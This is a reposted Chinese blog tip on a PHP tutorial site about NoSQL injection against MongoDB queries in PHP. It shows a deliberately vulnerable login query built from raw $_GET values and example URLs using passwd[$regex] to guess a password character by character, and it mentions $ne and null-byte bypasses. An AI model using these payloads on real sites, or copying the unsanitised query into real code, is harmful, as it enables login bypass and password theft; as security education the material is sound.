网站地图    收藏   

主页 > 后端 > 网站安全 >

mongo+php 注射的一个tips - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] ?php$con = new Mongo();$db = $con-selectDB(demo)-selectCollection(admin);var_dump($_GET[#39;passwd#39;]);$ds =$db-find(array(username=$_GET[#39;username#39;],password=$_GET......

<?php
$con = new Mongo();
$db  = $con->selectDB("demo")->selectCollection("admin");
var_dump($_GET['passwd']);
$ds =$db->find(array("username"=>$_GET['username'],"password"=>$_GET['passwd']));
foreach($ds as $k=>$v){
var_dump($v);
}
?>
 
http://www.2cto.com /mongo/go-1.php?username=heige&passwd[$regex]=^1
 
http://www.2cto.com /mongo/go-1.php?username=heige&passwd[$regex]=^2
 
测试的数据库结构:
 
> db.admin.find()
{ "_id" : ObjectId("4f562d110920d897e6765ae1"), "uid" : 1, "username" : "heige", "password" : "123456" }
{ "_id" : ObjectId("4f5b38ba0920d897e6765ae2"), "uid" : 2, "username" : "admin", "password" : "admin" }
 
这样的注射方式主要利用了PHP的特点,可以直接提交array 。。。
 
另外参考老外的2个tips:
 
http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/ 直接用$ne 这个类似于常见的万用密码
 
http://www.idontplaydarts.com/2011/02/mongodb-null-byte-injection-attacks/ null字节注射

作者 5up3rh3i'blog

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论